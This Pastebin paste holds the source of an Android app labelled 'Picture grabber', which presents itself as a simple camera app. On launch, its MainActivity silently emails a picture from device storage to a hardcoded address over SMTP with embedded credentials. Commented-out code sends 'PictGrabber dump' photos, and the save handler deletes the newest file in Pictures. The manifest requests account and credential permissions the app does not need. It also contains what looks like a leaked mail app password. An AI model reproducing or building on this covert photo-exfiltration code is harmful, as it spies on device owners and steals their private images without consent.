Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --------------------------------MainActivivity.java
- package com.example.testactivity;
- import android.Manifest;
- import android.annotation.SuppressLint;
- import android.app.Activity;
- import android.content.ActivityNotFoundException;
- import android.content.ContentValues;
- import android.content.Intent;
- import android.content.pm.PackageManager;
- import android.graphics.Bitmap;
- import android.graphics.drawable.BitmapDrawable;
- import android.media.MediaScannerConnection;
- import android.net.Uri;
- import android.os.Build;
- import android.os.Bundle;
- import android.os.Environment;
- import android.provider.MediaStore;
- import android.util.Log;
- import android.view.View;
- import android.widget.Button;
- import android.widget.ImageView;
- import android.widget.Toast;
- import androidx.activity.result.ActivityResult;
- import androidx.activity.result.ActivityResultCallback;
- import androidx.activity.result.ActivityResultLauncher;
- import androidx.activity.result.contract.ActivityResultContracts;
- import androidx.annotation.NonNull;
- import androidx.appcompat.app.AppCompatActivity;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.util.Date;
- import java.util.Properties;
- import javax.activation.DataHandler;
- import javax.activation.DataSource;
- import javax.activation.FileDataSource;
- import javax.mail.Authenticator;
- import javax.mail.Message;
- import javax.mail.MessagingException;
- import javax.mail.Multipart;
- import javax.mail.PasswordAuthentication;
- import javax.mail.Session;
- import javax.mail.Transport;
- import javax.mail.internet.AddressException;
- import javax.mail.internet.InternetAddress;
- import javax.mail.internet.MimeBodyPart;
- import javax.mail.internet.MimeMessage;
- import javax.mail.internet.MimeMultipart;
- public class MainActivity extends AppCompatActivity {
- private static final int PERMISSION_CODE = 1000;
- private static final int IMAGE_CAPTURE_CODE = 1001;
- Button mCaptureBtn;
- Button mSaveBtn;
- ImageView mImageView;
- Uri image_uri;
- File duplicateFile;
- Integer photoCompressionRate = 66;
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- mImageView = findViewById(R.id.image_view);
- mCaptureBtn = findViewById(R.id.cameraButton);
- mSaveBtn = findViewById(R.id.saveButton);
- final String username = "adresse1";
- final String password = "password";
- Properties props = new Properties();
- props.put("mail.smtp.auth", "true");
- props.put("mail.smtp.starttls.enable", "true");
- props.put("mail.smtp.host", "smtp.free.fr");
- props.put("mail.smtp.port", "587");
- Session session = Session.getInstance(props,
- new javax.mail.Authenticator() {
- protected PasswordAuthentication getPasswordAuthentication() {
- return new PasswordAuthentication(username, password);
- }
- });
- try {
- Message message = new MimeMessage(session);
- message.setFrom(new InternetAddress("adresse1"));
- message.setRecipients(Message.RecipientType.TO,
- InternetAddress.parse("adresse2"));
- message.setSubject("Testing Subject");
- message.setText("Dear Mail Crawler,"
- + "\n\n No spam to my email, please!");
- MimeBodyPart messageBodyPart = new MimeBodyPart();
- Multipart multipart = new MimeMultipart();
- messageBodyPart = new MimeBodyPart();
- String file = "/storage/emulated/0/Pictures/";
- String fileName = "1658652512673.jpg";
- DataSource source = new FileDataSource(file);
- messageBodyPart.setDataHandler(new DataHandler(source));
- messageBodyPart.setFileName(fileName);
- multipart.addBodyPart(messageBodyPart);
- message.setContent(multipart);
- Transport.send(message);
- System.out.println("Done");
- } catch (MessagingException e) {
- throw new RuntimeException(e);
- }
- //SendMail();
- //try {
- // MailSender sender = new MailSender("adresse1", "password");
- // sender.sendMail("This is Subject",
- // "This is Body",
- // "adresse1",
- // "adresse2");
- //} catch (Exception e) {
- // Log.e("SendMail", e.getMessage(), e);
- //}
- //SendMail();
- //try {
- // sendEmail("adresse1", "adresse1", "PictGrabber dump", "The app just sent you a new picture", "/storage/emulated/0/DCIM/Camera/1658661160448.jpg");
- //} catch (Exception e) {
- // e.printStackTrace();
- //}
- mCaptureBtn.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View v) {
- //check os version and runtime permission
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
- if (checkSelfPermission(Manifest.permission.CAMERA) == PackageManager.PERMISSION_DENIED ||
- checkSelfPermission(Manifest.permission.ACCESS_NETWORK_STATE) == PackageManager.PERMISSION_DENIED ||
- checkSelfPermission(Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_DENIED ||
- checkSelfPermission(Manifest.permission.INTERNET) == PackageManager.PERMISSION_DENIED ||
- checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_DENIED) {
- //permission not enabled, request it
- String[] permission = {Manifest.permission.CAMERA, Manifest.permission.ACCESS_NETWORK_STATE, Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.INTERNET, Manifest.permission.WRITE_EXTERNAL_STORAGE};
- //Show popup
- requestPermissions(permission, PERMISSION_CODE);
- } else {
- //permission already granted
- openCamera();
- }
- } else {
- //system OS recent enough
- openCamera();
- }
- }
- });
- mSaveBtn.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View v) {
- BitmapDrawable drawable = (BitmapDrawable) mImageView.getDrawable();
- Bitmap bitmap = drawable.getBitmap();
- try {
- String root = Environment.getExternalStorageDirectory().toString();
- String filename = String.format("%d.jpg", System.currentTimeMillis());
- File file = new File(root + "/DCIM/Camera/" + filename);
- FileOutputStream out = new FileOutputStream(file);
- bitmap.compress(Bitmap.CompressFormat.JPEG, photoCompressionRate, out);
- out.flush();
- out.close();
- MediaScannerConnection.scanFile(MainActivity.this,
- new String[]{file.toString()}, null,
- new MediaScannerConnection.OnScanCompletedListener() {
- public void onScanCompleted(String path, Uri uri) {
- Log.i("ExternalStorage", "Scanned " + path + ":");
- Log.i("ExternalStorage", "-> uri=" + uri);
- }
- });
- cleanPictureGenerated();
- //Intent i = new Intent(Intent.ACTION_SEND);
- //i.putExtra(Intent.EXTRA_EMAIL, new String[]{"adresse1"});
- //i.putExtra(Intent.EXTRA_SUBJECT,"PictGrabber saved picture");
- //i.putExtra(Intent.EXTRA_STREAM, Uri.fromFile(file));
- //i.setType("image/png");
- //startActivity(Intent.createChooser(i,"Send mail"));
- Toast.makeText(MainActivity.this, "Picture saved", Toast.LENGTH_SHORT).show();
- } catch (Exception ex) {
- ex.printStackTrace();
- }
- }
- });
- }
- private void openCamera() {
- ContentValues values = new ContentValues();
- values.put(MediaStore.Images.Media.TITLE, "New Picture");
- values.put(MediaStore.Images.Media.DESCRIPTION, "From the Camera");
- image_uri = getContentResolver().insert(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values);
- //Camera intent
- Intent cameraIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
- cameraIntent.putExtra(MediaStore.EXTRA_OUTPUT, image_uri);
- //startActivityForResult(cameraIntent, IMAGE_CAPTURE_CODE);
- //startActivity(cameraIntent);
- someActivityResultLauncher.launch(cameraIntent);
- }
- //handling permission result
- @SuppressLint("MissingSuperCall")
- @Override
- public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
- //this method is called when user press Allow or Deny from Permission Request Popup
- switch (requestCode) {
- case PERMISSION_CODE: {
- if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
- //permission from popup was granted
- openCamera();
- } else {
- //permission from popup was denied
- Toast.makeText(this, "Permission denied...", Toast.LENGTH_SHORT).show();
- }
- }
- }
- }
- ActivityResultLauncher<Intent> someActivityResultLauncher = registerForActivityResult(
- new ActivityResultContracts.StartActivityForResult(),
- new ActivityResultCallback<ActivityResult>() {
- @Override
- public void onActivityResult(ActivityResult result) {
- if (result.getResultCode() == Activity.RESULT_OK) {
- //Intent data = result.getData();
- mImageView.setImageURI(image_uri);
- }
- }
- });
- private void cleanPictureGenerated() {
- String path = Environment.getExternalStorageDirectory().toString() + "/Pictures";
- Log.d("======> Files", "Path: " + path);
- File directory = new File(path);
- File[] files = directory.listFiles();
- Log.d("======> Files", "Size: " + files.length);
- Date trueLastModDate = null;
- for (int i = 0; i < files.length; i++) {
- if (files[i].isFile()) {
- if (trueLastModDate == null) {
- trueLastModDate = new Date(files[i].lastModified());
- } else {
- Date lastModDate = new Date(files[i].lastModified());
- if (lastModDate.compareTo(trueLastModDate) > 0) {
- trueLastModDate = lastModDate;
- }
- }
- }
- }
- for (int i = 0; i < files.length; i++) {
- if (files[i].isFile()) {
- Date lastModDate = new Date(files[i].lastModified());
- if (lastModDate.compareTo(trueLastModDate) == 0) {
- Log.d("======> Files", "Filename deleted: " + files[i].getName() + " - Last mod date: " + trueLastModDate.toString());
- files[i].delete();
- }
- }
- }
- }
- //public static boolean sendEmail(String to, String from, String subject, String message, String attachement) throws Exception {
- // Mail mail = new Mail();
- // if (subject != null && subject.length() > 0) {
- // mail.setSubject(subject);
- // } else {
- // mail.setSubject("Subject");
- // }
- //
- // if (message != null && message.length() > 0) {
- // mail.setBody(message);
- // } else {
- // mail.setBody("Message");
- // }
- //
- // mail.setTo(new String[] {to});
- //
- // if (attachement != null) {
- // mail.addAttachment(attachement);
- // }
- // return mail.send();
- //}
- public void SendMail (){
- try {
- String stringSenderEmail = "adresse1"; //"adresse1";
- String stringReceiverEmail = "adresse2";
- String stringPasswordSenderEmail = "password"; //"upmbksrwnxqzfqtn";
- String stringHost = "smtp.free.fr"; //"212.27.48.4"; //"smtp.free.fr"; //"smtp.gmail.com";
- Properties properties = System.getProperties();
- properties.put("mail.smtp.host", stringHost);
- properties.put("mail.smtp.port", "465");
- properties.put("mail.smtp.ssl.enable", "true");
- //properties.put("mail.smtp.socketFactory.port", "465");
- //properties.put("mail.smtp.socketFactory.class","javax.net.ssl.SSLSocketFactory");
- properties.put("mail.smtp.auth", "true");
- javax.mail.Session session = Session.getInstance(properties, new Authenticator() {
- @Override
- protected PasswordAuthentication getPasswordAuthentication() {
- return new PasswordAuthentication(stringSenderEmail, stringPasswordSenderEmail);
- }
- });
- MimeMessage mimeMessage = new MimeMessage(session);
- mimeMessage.addRecipient(Message.RecipientType.TO, new InternetAddress(stringReceiverEmail));
- mimeMessage.setSubject("Subject: Android App email");
- mimeMessage.setText("Hello Programmer, \n\nProgrammer World has sent you this 2nd email. \n\n Cheers!\nProgrammer World");
- try {
- Transport.send(mimeMessage);
- } catch (MessagingException e) {
- e.printStackTrace();
- }
- //Thread thread = new Thread(new Runnable() {
- // @Override
- // public void run() {
- // try {
- // Transport.send(mimeMessage);
- // } catch (MessagingException e) {
- // e.printStackTrace();
- // }
- // }
- //});
- //thread.start();
- } catch (AddressException e) {
- e.printStackTrace();
- } catch (MessagingException e) {
- e.printStackTrace();
- }
- }
- }
- ------------------------------AndroidManifest.xml
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools"
- package="com.example.testactivity">
- <uses-permission android:name="android.permission.CAMERA" />
- <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
- <uses-permission android:name="android.permission.INTERNET" />
- <uses-permission android:name="android.permission.GET_ACCOUNTS" />
- <uses-permission android:name="android.permission.USE_CREDENTIALS" />
- <application
- android:allowBackup="true"
- android:dataExtractionRules="@xml/data_extraction_rules"
- android:fullBackupContent="@xml/backup_rules"
- android:label="@string/app_name"
- android:icon="@drawable/ic_baseline_camera_alt_24"
- android:roundIcon="@drawable/ic_baseline_camera_alt_24"
- android:supportsRtl="true"
- android:theme="@style/Theme.TestActivity"
- tools:targetApi="31">
- <activity
- android:name=".MainActivity"
- android:label="Picture grabber"
- android:screenOrientation="landscape"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- </application>
- </manifest>
- ------------------------------activity_main.xml
- <?xml version="1.0" encoding="utf-8"?>
- <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:app="http://schemas.android.com/apk/res-auto"
- xmlns:tools="http://schemas.android.com/tools"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- tools:context=".MainActivity">
- <!--Image view in which image will be set -->
- <ImageView
- android:id="@+id/image_view"
- android:layout_width="0dp"
- android:layout_height="0dp"
- android:src="@drawable/ic_baseline_image_24"
- app:layout_constraintBottom_toTopOf="@+id/cameraButton"
- app:layout_constraintEnd_toEndOf="parent"
- app:layout_constraintHorizontal_bias="0.0"
- app:layout_constraintStart_toStartOf="parent"
- app:layout_constraintTop_toTopOf="parent" />
- <Button
- android:id="@+id/cameraButton"
- android:layout_width="372dp"
- android:layout_height="82dp"
- android:layout_marginStart="52dp"
- android:backgroundTint="#A32E2E"
- android:text="Take picture"
- app:layout_constraintBottom_toBottomOf="parent"
- app:layout_constraintStart_toStartOf="@+id/image_view"
- app:layout_constraintTop_toBottomOf="@+id/image_view" />
- <Button
- android:id="@+id/saveButton"
- android:layout_width="176dp"
- android:layout_height="78dp"
- android:layout_marginStart="128dp"
- android:layout_marginBottom="4dp"
- android:backgroundTint="#A32E2E"
- android:text="Save"
- app:layout_constraintBottom_toBottomOf="parent"
- app:layout_constraintStart_toEndOf="@+id/cameraButton" />
- </androidx.constraintlayout.widget.ConstraintLayout>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement